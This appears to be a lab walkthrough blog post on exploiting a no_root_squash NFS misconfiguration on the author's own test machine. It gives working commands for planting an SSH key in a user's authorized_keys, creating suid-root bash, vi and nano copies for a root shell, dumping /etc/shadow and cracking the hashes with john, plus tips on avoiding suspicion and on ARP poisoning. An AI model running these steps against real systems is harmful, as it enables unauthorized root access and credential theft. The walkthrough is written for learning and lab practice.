Overview of NFS
Network File System (NFS) lets you share filesytem over a network. Clients have to mount the filesystem and access the remote data in the same way they are accessed locally.
Setting up NFS with (no_root_squash)
I’ll be using a debian based distro called antiX for the NFS server. Install
nfs-kernel-server on your server:
apt install nfs-common nfs-kernel-server
nfs-common is also installed on your client.
I will create a new user called tom, and use his home directory for sharing. Modify
/etc/exports and add the following entry to make it accessible:
The above entry tells nfs to allow the root user on the client to access files with read/write permissions. Restart the service:
root@antix:~# service nfs-kernel-server restart [ ok ] Stopping NFS kernel daemon: mountd nfsd. [ ok ] Unexporting directories for NFS kernel daemon.... [....] Exporting directories for NFS kernel daemon...exportfs: No host name given with /home/tom (rw,no_root_squash), suggest *(rw,no_root_squash) to avoid warning exportfs: /etc/exports : Neither 'subtree_check' or 'no_subtree_check' specified for export "*:/home/tom". Assuming default behaviour ('no_subtree_check'). NOTE: this default has changed since nfs-utils version 1.0.x . ok [ ok ] Starting NFS kernel daemon: nfsd mountd.
The above output say no host name was given with
/home/tom. Which means every host on the network will have access. Run
man 5 exports to see what other options are available.
Mounting the filesystem on my client
Mounting NFS is the same as mounting a filesystem on Unix. The only difference is you have to specify the remote host:
root@kavishgr:~# mount 192.168.100.39:/home/tom /mnt/nfs/
It’s mounted on /mnt/nfs:
root@kavishgr:~# df -h | grep nfs 192.168.100.39:/home/tom 18G 2.5G 15G 15% /mnt/nfs root@kavishgr:~# root@kavishgr:~# mount | grep nfs 192.168.100.39:/home/tom on /mnt/nfs type nfs4 (rw,relatime,vers=4.2,rsize=65536,wsize=65536,namlen=255,hard,proto=tcp,timeo=600,retrans=2,sec=sys,clientaddr=192.168.100.30,local_lock=none,addr=192.168.100.39)
How to Discover an NFS Service
There’s a utility called
showmount that queries the mount daemon on a remote host to gather information about the state of the NFS server.
root@kavishgr:~# showmount -e 192.168.100.39 Export list for 192.168.100.39: /home/tom *
All machine on the network is allowed to mount the
/home/tom folder. If there’s a specific IP or range of IPs next to the directory, that means only those machines are allowed to mount the directory. Always follow good security practice.
Let’s list the directory contents:
root@kavishgr:/mnt/nfs# ls -a . .bashrc .desktop-session .foxrc .gtkrc-2.0 .jwmrc .nanorc .smbnetfs.conf .. .config .dillo .gconf .gtkrc-2.0.mine .local .newsboat .ssh .bash_history .conkyrc .fehbg .gexec .icewm .mcthemes .profile .xmms .bash_logout .conkyrc-lua .fluxbox .gtkrc .jwm myfile.txt .smb.conf .Xresources
.ssh directory is interesting. The directory was configured to allow root, hence
no_root_squash. If we get access to the machine, a privesc will be possible.
.ssh is in
/home/tom and write access is enabled, I can append my public key to tom’s authorized_keys file. First let’s make sure if publickey is enabled:
root@kavishgr:/mnt/nfs# ssh 192.168.100.39 The authenticity of host '192.168.100.39 (192.168.100.39)' can't be established. ECDSA key fingerprint is SHA256:mL7DbMhvrpn+9+H8UU0HNKL3dkBiAyS4TI0Trt0pb00. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.100.39' (ECDSA) to the list of known hosts. firstname.lastname@example.org's password: Permission denied, please try again. email@example.com's password: Permission denied, please try again. firstname.lastname@example.org's password: email@example.com: Permission denied (publickey,password).
Great. Let’s append the our publickey:
root@kavishgr:/mnt/nfs# cat ~/.ssh/id_rsa.pub >> .ssh/authorized_keys
Now we should be able to ssh into the target. But first let’s craft a local exploit in NFS:
root@kavishgr:/mnt/nfs# cp /bin/bash . ; chmod +s bash root@kavishgr:/mnt/nfs# ls -l bash -rwsr-sr-x 1 root root 1168776 Oct 18 21:47 bash
I kept it simple. I made a copy of
/bin/bash, and gave it the
suid permission as root:
Getting a root shell
Now, we should be able to ssh into the machine as tom:
root@kavishgr:/mnt/nfs# ssh firstname.lastname@example.org Enter passphrase for key '/root/.ssh/id_rsa': Linux antix 4.9.160-antix.2-486-smp #1 SMP Wed Feb 27 14:42:39 EET 2019 i686 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. $ bash -p tom@antix:~ $
Enter you passphrase if have to, and run
bash -p if an interactive shell is not available by default. I ran into a problem while executing the /bin/bash i copied earlier:
tom@antix:~ $ ./bash bash: ./bash: cannot execute binary file: Exec format error
The /bin/bash from my machine is 64-bit version, and antiX is a 32-bit machine. I got around it:
tom@antix:~ $ whoami tom tom@antix:~ $ tom@antix:~ $ tom@antix:~ $ ./bash -p bash-4.4# whoami; id root uid=1001(tom) gid=1001(tom) euid=0(root) egid=0(root) groups=0(root),1001(tom) bash-4.4#
Another way to achieve this, is to copy the private and public key from the NFS share to your attacking machine. Run
eval `ssh-agent to run the agent in the current shell or
ssh-agent bash, then
ssh-add to add the identity in the running agent. Now you should be able to ssh into the machine(assuming there’s no passphrase set).
Getting root with Nano/vi
Make a copy of
Vi in the NFS Share, and enable suid permission:
root@kavishgr:/mnt/nfs# chmod 4777 nano vi root@kavishgr:/mnt/nfs# ls -l nano vi -rwsrwxrwx 1 root root 264620 Oct 24 13:22 nano -rwsrwxrwx 1 root root 1111392 Oct 24 13:22 vi
Now we can log into the machine via ssh, and edit sensitive files like
/etc/shadow. A shell can also be spawn from
# bash -p bash-4.4# whoami root bash-4.4# id uid=1001(tom) gid=1001(tom) euid=0(root) groups=1001(tom) bash-4.4#
vi -c ':!/bin/sh' /dev/null:
tom@antix:~ $ ./vi -c ':!/bin/sh' /dev/null # id;whoami uid=1001(tom) gid=1001(tom) euid=0(root) groups=1001(tom) root #
To avoid suspicion, we can just view the
/etc/shadow file and retrieve password hashes. Two ways to do this:
- Get a root shell from
./vi, and copy the hashes
- or run
./nano -p /etc/shadow
The main goal is to exploit NFS through a misconfiguration. In this case, we can access it as root. If
root_squash was enabled, we would have accessed as the
anonymous user. What you do after that, depends on binaries that can found on the system. It doesn’t neccesary have to be
nano. This is just for demonstration purposes.
If NFS was configured to be shared with a range of IPs, and you’re on the same network, try
arp cache poisoning. Sometimes you can get access but you won’t be able to view any files not owned by you. In this case create a user with same uid/gid as the owner of the files that can’t be viewed, and see if that works.
Since we talked about hashes, let’s get cracking. I got the hash of
bash-4.4# cat /etc/shadow | cut -d ':' -f 1-2 | grep -v '*' | tee hashes.txt root:$6$ZT6CssAU$wmdap/nyK1KPJiTHaVQp5sFvBweMh/sdOdd8iJKc5OJYxNvHki3oQ4v5wHLia00e7nXhkdGgun3FxvIlz/whU. kavish:$6$V65ZWIB7$TeiNQYKlJtUiOE5A7w3byzexqTzvsuRYm.W9BP3VJJeNH93Wqw3FIuUxiHtWphNeY2hUpqY35QTGKGnhHTDAR1 tom:$6$suAbRsBW$CLzxWfpfG2dRelmEaa09..jVOMJryJRCNNzwsG2efjO9eo/VD9US5zJzxJYzkhayWTLnWNlehlAS8HKqW3K3i/
The password hash format is as follows: $id$salt$hashed. The $id represent the algorithm. In this case, it’s
- $1$ is MD5
- $2a$ is Blowfish
- $2y$ is Blowfish
- $5$ is SHA-256
- $6$ is SHA-512
I saved it in
hashes.txt, and run
john on it:
john hashes.txt | tee cracked.txt
I stopped it midway, and run:
root@kavishgr:/mnt/nfs# john --show hashes.txt kavish:kavish 1 password hash cracked, 2 left
2019-11-16 00:00 +0000